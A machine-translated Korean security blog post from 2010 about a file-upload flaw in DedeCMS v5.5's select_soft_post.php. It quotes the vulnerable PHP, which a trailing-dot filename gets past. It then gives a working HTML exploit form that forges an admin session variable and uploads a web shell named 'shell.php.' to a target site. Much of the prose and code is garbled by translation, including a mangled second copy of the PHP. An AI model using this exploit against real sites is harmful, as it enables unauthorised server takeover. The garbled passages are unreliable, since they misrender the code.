DEDECMS v5.5 최종 select_soft_post.php 취약점 - 기사 콘도, 기사 콘도 v5.5, select_soft

기사 콘도 v5.5 결승 select_soft_post.php 취약점

이 항목은 2010년 3월 9일에 게재되었습니다

: St0p
복제, 소스 http://www.st0p.org 여부를 알려주십시오

: 늑대 보안 팀 toby57 다니엘에서 참조는 문서의 맛없는 허점 "원래 주소의 결승전에서 v5.5 GBK 기사 콘도를 발표 http://bbs.wolvez.org/topic/125/

session.auto_start = 1 사건에 대한 요구 사항, 일반 session.auto_start이이 꺼져 있기 때문에 로컬 테스트 커버 리지 세션이 작은 닭고기 위협이 사실이므로 치킨 위협이지만 성공 장면 쉘 뒤에 사건의 배경으로 사용할 수있을 것입니다 ..

Session.auto_start 일반 및 사용하는 session_start ()가, 통계를 보면서, 오직 session.auto_start 오픈은 먼저 session_start ()를 호출 후 가능합니다. 제가 아니죠 그러나 특정 기타 커버 리지 세션 보고 정말보고에 비 후광 없습니다의 머리 ... 시간을 찾으려면 ..

나는 사실, 봤는데, GBK와 UTF8이 문제가있는 것입니다, 왜이 큰 가축 제목 GBK를 찾을 모르겠지만 ..

/ 바라 보았다 것은 / 대화 / select_soft_post.php 포함

주요 문제점은 수동 부분의 이름을 바꾸려면, 파일 이름을 지정하는 것처럼 보였다. 시간, 우리의 이름 st0p.php. 참고, PHP 후, 당신은 코드를 보면, 확인을 건너뛸 수 있습니다 포인트가있을 때

 if ( ! empty ( $newname ) ) { $filename = $newname ; //当我们的新名称为st0p.php.的时候 if ( ! ereg ( "\." , $filename ) ) $fs = explode ( '.' , $uploadfile_name ) ; //当$filename中不含有.的时候调用 else $fs = explode ( '.' , $filename ) ; //当$filename中含有.时调用 if ( eregi ( $cfg_not_allowall , $fs [ count ( $fs ) - 1 ] ) ) //$fs[count($fs)-1]得到的值为空,跳过验证 { ShowMsg ( "你指定的文件名被系统禁止！" , 'javascript:;' ) ; exit ( ) ; } if ( ! ereg ( "\." , $filename ) ) $filename = $filename . '.' . $fs [ count ( $fs ) - 1 ] ; } else { $filename = $cuserLogin -> getUserID ( ) . '-' . dd2char ( MyDate ( 'ymdHis' , $nowtme ) ) ; $fs = explode ( '.' , $uploadfile_name ) ; if ( eregi ( $cfg_not_allowall , $fs [ count ( $fs ) - 1 ] ) ) { ShowMsg ( "你上传了某些可能存在不安全因素的文件，系统拒绝操作！" , 'javascript:;' ) ; exit ( ) ; } $filename = $filename . '.' . $fs [ count ( $fs ) - 1 ] ; } $fullfilename = $cfg_basedir . $activepath . '/' . $filename ; //嘿嘿,跳过验证,$filename还为st0p.php. $fullfileurl = $activepath . '/' . $filename ; move_uploaded_file ( $uploadfile , $fullfilename ) or die ( "上传文件到$fullfilename失败！" ) ; @ unlink ( $uploadfile ) ; ...... (! ($ newname) 비우기) {$ 파일 이름 = $ newname있다면 ... / / 파일 이름 (이전에는 수동으로 할당, 후자는 자동으로 처리); / / 때 st0p.php의 새 이름입니다. 때 만약 $ FS = 폭발 ($ uploadfile_name '.') (ereg ( "\.", $ 파일 이름)!);. / / $ 파일 이름이 포함되지 않은 다른 $ FS를 호출 = 폭발 ( '.' $ 파일 이름); / 호출 (eregi ($ cfg_not_allowall, $ FS [카운트 ($ FS) - 1])면 / 값) / / $ FS [카운트가 ($ FS) -1] $ 파일 이름이 포함되어 있습니다. (ereg ( "\", $ 파일 이름)) $ 파일명 경우 = 비어, 확인을 {; 출구 (); ShowMsg ( '자바 스크립트;'는 파일 이름이 시스템 금지입니다 지정할 수)} 생략 $ 파일 이름 $ FS [카운트 ($ FS) - 1]. '.';.} 또 {$ 파일 이름 = $ cuserLogin -> getUserID () '-'dd2char (MyDate ( 'ymdHis', $ nowtme))..; $ FS = 폭발 ($ uploadfile_name '.'); (eregi ($ cfg_not_allowall, $ FS [카운트 ($ FS) - 1])) 경우 {ShowMsg합니다 ( "당신이 파일을 업로드 불안이있을 수 있습니다 , 운영 체제는 'javascript를 :;'거부); 출구 ();} $ 파일 이름 = $ 파일 이름 '' FS $ [카운트 ($ FS) - 1];} $에 대해 $ fullfilename = $ cfg_basedir activepath. '/', $ 파일명;.. / / 안녕하세요, $ fullfileurl = $ activepath, $ 파일명 st0p.php을 확인을 건너 '/'$ 파일명;. move_uploaded_file ($ uploadfile 달러 fullfilename) 또는 죽을 ( " $ fullfilename 실패로 파일을 전송 ");! @ 연결을 해제 ($ uploadfile); ...

다음과 같이 EXP입니다

  <DOCTYPE HTML PUBLIC "- / / W3C / / DTD XHTML 1.0 과도 / / EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <HEAD>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <TITLE>은 v5.5 결승 select_soft_post.php의 EXP </ 제목> DEDECMS
 <script type="text/javascript">
 함수 fsubmit () {
     VAR 양식 = document.forms [0];
     form.action = form.target.value + form.path.value;
     tmpstr = form.target.value + '/'+ form.newname.value;
     form.bkurl.value = tmpstr.substr (0, tmpstr.length-1);
     form.submit ();
     }
 </ SCRIPT>
 <style type="text/css">
 <-
 본문 {
	 텍스트 정렬 : 센터;
 }
 ->
 </ 스타일>
 </ HEAD>

 <BODY>
 <h3>은 v5.5 결승 select_soft_post.php의 EXP </ H3>를 DEDECMS
 <form action="" method="post" enctype="multipart/form-data">
   <P>
     <input type="hidden" name="_SESSION[dede_admin_id]" value="1" />
     <input type="hidden" name="bkurl" value="1" />
     <label> 대상 :
       <input name="target" type="text" id="target" value="http://target" />
     </ 라벨>
     <label> 경로 :
       <input name="path" type="text" id="path" value="/include/dialog/select_soft_post.php" />
     </ 라벨>
     <label> 파일 :
       <input type="file" name="uploadfile" id="uploadfile" />
     </ 라벨>
     <label> NewName :
       <input name="newname" type="text" id="newname" value="shell.php." />
     </ 라벨>
     <input type="submit" name="button" id="button" value="Fuck" onclick="fsubmit()" />
   </ P>
 </ 양식>
 </ BODY>
 </ HTML>